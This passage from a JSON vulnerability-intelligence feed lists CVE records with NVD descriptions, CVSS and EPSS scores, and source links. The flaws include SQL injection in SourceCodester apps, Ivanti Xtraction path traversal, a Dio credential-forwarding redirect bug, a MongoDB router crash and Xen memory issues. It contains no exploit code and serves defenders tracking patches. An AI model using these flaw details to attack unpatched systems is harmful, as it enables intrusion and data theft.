full account access, including the master administrator.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T17:17:33.263Z","updatedAt":"2026-10-16T19:18:44.867Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110097","asOf":"2026-10-16T19:18:44.867Z"},"epss":{"probability":0.00541,"percentile":0.45192,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110097&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110097","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110097","type":"primary","publishedAt":"2026-10-13T17:17:33.263Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110097&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110097, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109827","cveId":"CVE-2026-109827","aliases":[],"kind":"vulnerability","title":"A vulnerability has been found in GPAC up to 26.07.0. This vulnerability affects the function gf_m2ts_decode_ait of the file src/media_tools/ait.c of the component AIT Parser.","summary":"A vulnerability has been found in GPAC up to 26.07.0. This vulnerability affects the function gf_m2ts_decode_ait of the file src/media_tools/ait.c of the component AIT Parser. Such manipulation leads to out-of-bounds write. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The name of the patch is 6d2c21a1a688abb20d0111b608db3b6f44d348f4. Applying a patch is advised to resolve this issue.","detail":"A vulnerability has been found in GPAC up to 26.07.0. This vulnerability affects the function gf_m2ts_decode_ait of the file src/media_tools/ait.c of the component AIT Parser. Such manipulation leads to out-of-bounds write. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The name of the patch is 6d2c21a1a688abb20d0111b608db3b6f44d348f4. Applying a patch is advised to resolve this issue.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T17:17:31.697Z","updatedAt":"2026-10-15T16:17:44.843Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109827","asOf":"2026-10-15T16:17:44.843Z"},"epss":{"probability":0.00289,"percentile":0.21223,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109827&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109827","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109827","type":"primary","publishedAt":"2026-10-13T17:17:31.697Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109827&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109827, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109620","cveId":"CVE-2026-109620","aliases":[],"kind":"vulnerability","title":"A vulnerability has been found in SourceCodester Online Reviewer System 1.0. Affected by this vulnerability is the function PDO::prepare of the file login/index.php.","summary":"A vulnerability has been found in SourceCodester Online Reviewer System 1.0. Affected by this vulnerability is the function PDO::prepare of the file login/index.php. Such manipulation of the argument username/password leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.","detail":"A vulnerability has been found in SourceCodester Online Reviewer System 1.0. Affected by this vulnerability is the function PDO::prepare of the file login/index.php. Such manipulation of the argument username/password leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T17:17:30.110Z","updatedAt":"2026-10-14T16:17:37.057Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109620","asOf":"2026-10-14T16:17:37.057Z"},"epss":{"probability":0.00263,"percentile":0.17974,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109620&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109620","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109620","type":"primary","publishedAt":"2026-10-13T17:17:30.110Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109620&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109620, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109607","cveId":"CVE-2026-109607","aliases":[],"kind":"vulnerability","title":"A flaw has been found in SourceCodester Online Exam System 1.0. Affected is an unknown function of the file adminpanel/admin/query/loginExe.php of the component Login Endpoint.","summary":"A flaw has been found in SourceCodester Online Exam System 1.0. Affected is an unknown function of the file adminpanel/admin/query/loginExe.php of the component Login Endpoint. This manipulation of the argument username/pass causes sql injection. It is possible to initiate the attack remotely. The exploit has been published and may be used.","detail":"A flaw has been found in SourceCodester Online Exam System 1.0. Affected is an unknown function of the file adminpanel/admin/query/loginExe.php of the component Login Endpoint. This manipulation of the argument username/pass causes sql injection. It is possible to initiate the attack remotely. The exploit has been published and may be used.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T17:17:29.700Z","updatedAt":"2026-10-16T23:16:58.773Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109607","asOf":"2026-10-16T23:16:58.773Z"},"epss":{"probability":0.00328,"percentile":0.25712,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109607&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109607","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109607","type":"primary","publishedAt":"2026-10-13T17:17:29.700Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109607&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109607, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109606","cveId":"CVE-2026-109606","aliases":[],"kind":"vulnerability","title":"A vulnerability was detected in SourceCodester Art Gallery Management System 1.0. This impacts the function Action::save_user of the file admin/admin_class.php of the component...","summary":"A vulnerability was detected in SourceCodester Art Gallery Management System 1.0. This impacts the function Action::save_user of the file admin/admin_class.php of the component Account Creation. The manipulation of the argument Name results in sql injection. The attack may be performed from remote. The exploit is now public and may be used.","detail":"A vulnerability was detected in SourceCodester Art Gallery Management System 1.0. This impacts the function Action::save_user of the file admin/admin_class.php of the component Account Creation. The manipulation of the argument Name results in sql injection. The attack may be performed from remote. The exploit is now public and may be used.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T17:17:29.530Z","updatedAt":"2026-10-13T19:26:24.643Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109606","asOf":"2026-10-13T19:26:24.643Z"},"epss":{"probability":0.00328,"percentile":0.25711,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109606&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109606","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109606","type":"primary","publishedAt":"2026-10-13T17:17:29.530Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109606&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109606, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-106047","cveId":"CVE-2026-106047","aliases":[],"kind":"vulnerability","title":"A Path Traversal vulnerability in the template export functionality of Ivanti Xtraction before version 2026.4 allows a remote authenticated attacker to read arbitrary files.","summary":"A Path Traversal vulnerability in the template export functionality of Ivanti Xtraction before version 2026.4 allows a remote authenticated attacker to read arbitrary files.","detail":"A Path Traversal vulnerability in the template export functionality of Ivanti Xtraction before version 2026.4 allows a remote authenticated attacker to read arbitrary files.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T17:17:16.497Z","updatedAt":"2026-10-14T16:08:15.347Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Ivanti"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-106047","asOf":"2026-10-14T16:08:15.347Z"},"epss":{"probability":0.00729,"percentile":0.53948,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-106047&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-106047","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-106047","type":"primary","publishedAt":"2026-10-13T17:17:16.497Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-106047&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-106047, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-106043","cveId":"CVE-2026-106043","aliases":[],"kind":"vulnerability","title":"A Missing Authentication for Critical Function vulnerability in Ivanti Xtraction before version 2026.4 allows a remote unauthenticated attacker to create, modify, trusted site.","summary":"A Missing Authentication for Critical Function vulnerability in Ivanti Xtraction before version 2026.4 allows a remote unauthenticated attacker to create, modify, trusted site.","detail":"A Missing Authentication for Critical Function vulnerability in Ivanti Xtraction before version 2026.4 allows a remote unauthenticated attacker to create, modify, trusted site.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T17:17:16.387Z","updatedAt":"2026-10-14T16:08:15.347Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Ivanti"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-106043","asOf":"2026-10-14T16:08:15.347Z"},"epss":{"probability":0.00665,"percentile":0.51478,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-106043&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-106043","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-106043","type":"primary","publishedAt":"2026-10-13T17:17:16.387Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-106043&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-106043, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103030","cveId":"CVE-2026-103030","aliases":[],"kind":"vulnerability","title":"Dio is a powerful HTTP client for Dart and Flutter.","summary":"Dio is a powerful HTTP client for Dart and Flutter. From 1.0.0 until 2.8.0, dio_http2_adapter follows redirects in Http2Adapter._fetch by copying the original RequestOptions.headers into the redirected HTTP/2 request without comparing the source and destination origins. A server contacted by an application can return a cross-origin Location redirect to a different-origin destination, which then receives preserved Authorization, Cookie, and Proxy-Authorization headers because RequestOptions.copyWith retains the full header map. The issue applies when applications use Http2Adapter for authenticated requests, and redirect following is enabled by default. This issue is fixed in version 2.8.0.","detail":"Dio is a powerful HTTP client for Dart and Flutter. From 1.0.0 until 2.8.0, dio_http2_adapter follows redirects in Http2Adapter._fetch by copying the original RequestOptions.headers into the redirected HTTP/2 request without comparing the source and destination origins. A server contacted by an application can return a cross-origin Location redirect to a different-origin destination, which then receives preserved Authorization, Cookie, and Proxy-Authorization headers because RequestOptions.copyWith retains the full header map. The issue applies when applications use Http2Adapter for authenticated requests, and redirect following is enabled by default. This issue is fixed in version 2.8.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T17:17:14.953Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103030","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.00359,"percentile":0.29328,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103030&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103030","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103030","type":"primary","publishedAt":"2026-10-13T17:17:14.953Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103030&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103030, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96299","cveId":"CVE-2026-96299","aliases":[],"kind":"vulnerability","title":"A security issue was discovered in MongoDB mongos (the sharded cluster router) where an authenticated user with readWrite privileges could crash the mongos process by crafting a...","summary":"A security issue was discovered in MongoDB mongos (the sharded cluster router) where an authenticated user with readWrite privileges could crash the mongos process by crafting a specially formed aggregation pipeline. The issue leverages an internal aggregation stage that lacks proper authorization checks despite being intended for internal use, allowing a subsequent stage to be forced to execute on the router under conditions it was not designed to handle. This results in an unhandled fatal error that causes the mongos process to immediately abort, resulting in denial of service for all clients routed through the affected mongos instance.","detail":"A security issue was discovered in MongoDB mongos (the sharded cluster router) where an authenticated user with readWrite privileges could crash the mongos process by crafting a specially formed aggregation pipeline. The issue leverages an internal aggregation stage that lacks proper authorization checks despite being intended for internal use, allowing a subsequent stage to be forced to execute on the router under conditions it was not designed to handle. This results in an unhandled fatal error that causes the mongos process to immediately abort, resulting in denial of service for all clients routed through the affected mongos instance.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T16:17:24.323Z","updatedAt":"2026-10-15T20:38:04.303Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96299","asOf":"2026-10-15T20:38:04.303Z"},"epss":{"probability":0.00235,"percentile":0.14296,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96299&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96299","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96299","type":"primary","publishedAt":"2026-10-13T16:17:24.323Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96299&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96299, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79610","cveId":"CVE-2026-79610","aliases":[],"kind":"vulnerability","title":"XSA-501 was about issues with v1 -> v2 and v2 -> v1 changes racing certain\nother grant table operations.  Sadly a v2 -> v1 -> v2 change has yet\nanother effect which wasn't...","summary":"XSA-501 was about issues with v1 -> v2 and v2 -> v1 changes racing certain\nother grant table operations.  Sadly a v2 -> v1 -> v2 change has yet\nanother effect which wasn't accounted for: During the first change, status\npages would be freed.  During the second change they would be allocated\nagain.  Hence across the full pair of change the addresses of the status\npages may change, rendering stale previously calculated pointers into the\nstatus array.","detail":"XSA-501 was about issues with v1 -> v2 and v2 -> v1 changes racing certain\nother grant table operations.  Sadly a v2 -> v1 -> v2 change has yet\nanother effect which wasn't accounted for: During the first change, status\npages would be freed.  During the second change they would be allocated\nagain.  Hence across the full pair of change the addresses of the status\npages may change, rendering stale previously calculated pointers into the\nstatus array.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T16:17:23.247Z","updatedAt":"2026-10-20T18:17:22.290Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79610","asOf":"2026-10-20T18:17:22.290Z"},"epss":{"probability":0.00148,"percentile":0.03924,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79610&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79610","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79610","type":"primary","publishedAt":"2026-10-13T16:17:23.247Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79610&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79610, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79609","cveId":"CVE-2026-79609","aliases":[],"kind":"vulnerability","title":"XPTI (Xen Page Table Isolation) was introduced to mitigate Meltdown\n(CVE-2017-5754, one aspect of XSA-254).  This involves copying 64-bit PV\nguest page table entries from...","summary":"XPTI (Xen Page Table Isolation) was introduced to mitigate Meltdown\n(CVE-2017-5754, one aspect of XSA-254).  This involves copying 64-bit PV\nguest page table entries from guest-chosen root page tables to the Xen-\nchosen one which is in actual use by hardware.  To read the guest root\npage table, the directmap is used.  PV guests, however, have a directmap\nwhich may not cover all memory; in particular this is the case if any\nmemory extends beyond the 5 TiB (CONFIG_BIGMEM=y: 3.5 TiB) address\nboundary.","detail":"XPTI (Xen Page Table Isolation) was introduced to mitigate Meltdown\n(CVE-2017-5754, one aspect of XSA-254).  This involves copying 64-bit PV\nguest page table entries from guest-chosen root page tables to the Xen-\nchosen one which is in actual use by hardware.  To read the guest root\npage table, the directmap is used.  PV guests, however, have a directmap\nwhich may not cover all memory; in particular this is the case if any\nmemory extends beyond the 5 TiB (CONFIG_BIGMEM=y: 3.5 TiB) address\nboundary.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T16:17:23.147Z","updatedAt":"2026-10-20T18:17:22.137Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79609","asOf":"2026-10-20T18:17:22.137Z"},"epss":{"probability":0.00106,"percentile":0.01106,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79609&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI 